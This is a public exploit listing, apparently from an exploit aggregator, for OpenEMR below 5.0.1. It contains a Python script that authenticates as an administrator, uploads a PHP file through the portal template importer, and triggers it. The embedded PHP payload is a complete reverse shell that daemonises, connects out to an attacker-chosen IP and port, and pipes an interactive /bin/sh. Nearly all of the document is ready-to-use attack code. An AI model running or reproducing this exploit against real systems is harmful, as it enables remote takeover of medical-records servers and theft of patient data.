Exploit for OpenEMR - Remote Code Execution

## https://sploitus.com/exploit?id=0DAYDB:E0E66EB888B2C245951219EEE98F662B
# Title: OpenEMR 5.0.1 - Remote Code Execution
# Exploit Author: Musyoka Ian
# Date: 2020-05-25
# Title: OpenEMR < 5.0.1 - Remote Code Execution
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69

# openemr_exploit.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import time

auth = "[+] Authentication with credentials provided please be patient"
upload = "[+] Uploading a payload it will take a minute"
netcat = "[+] You should be getting a shell"
s = requests.Session()
payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  # CHANGE THIS
$port = 9001;       # CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
  // Fork and have the parent process exit
  $pid = pcntl_fork();
  
  if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
  }
  
  if ($pid) {
    exit(0);  // Parent exits
  }

  // Make the current process a session leader
  // Will only succeed if we forked
  if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
  }

  $daemon = 1;
} else {
  printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
  printit("$errstr ($errno)");
  exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
  printit("ERROR: Can't spawn shell");
  exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
  // Check for end of TCP connection
  if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
  }

  // Check for end of STDOUT
  if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
  }

  // Wait until a command is end down $sock, or some
  // command output is available on STDOUT or STDERR
  $read_a = array($sock, $pipes[1], $pipes[2]);
  $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

  // If we can read from the TCP socket, send
  // data to process's STDIN
  if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
  }

  // If we can read from the process's STDOUT
  // send data down tcp connection
  if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
  }

  // If we can read from the process's STDERR
  // send data down tcp connection
  if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
  }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
  if (!$daemon) {
    print "$string\n";
  }
}

?> """}
print (auth)
url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"
data= {
    'new_login_session_management' : '1',
    'authProvider' : 'Default',
    'authUser' : 'admin', # change this to the the appropriate username
    'clearPass' : 'password123',       # change this to the appropriate password 
    'languageChoice' : '1',
    }
    
response = s.post(url, data=data,).text
time.sleep(2)
print (upload)
time.sleep(2)
resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)
time.sleep(2)
print (netcat)
rev_shell = s.get("http://localhost/openemr/portal/shell.php")
print (rev_shell.text)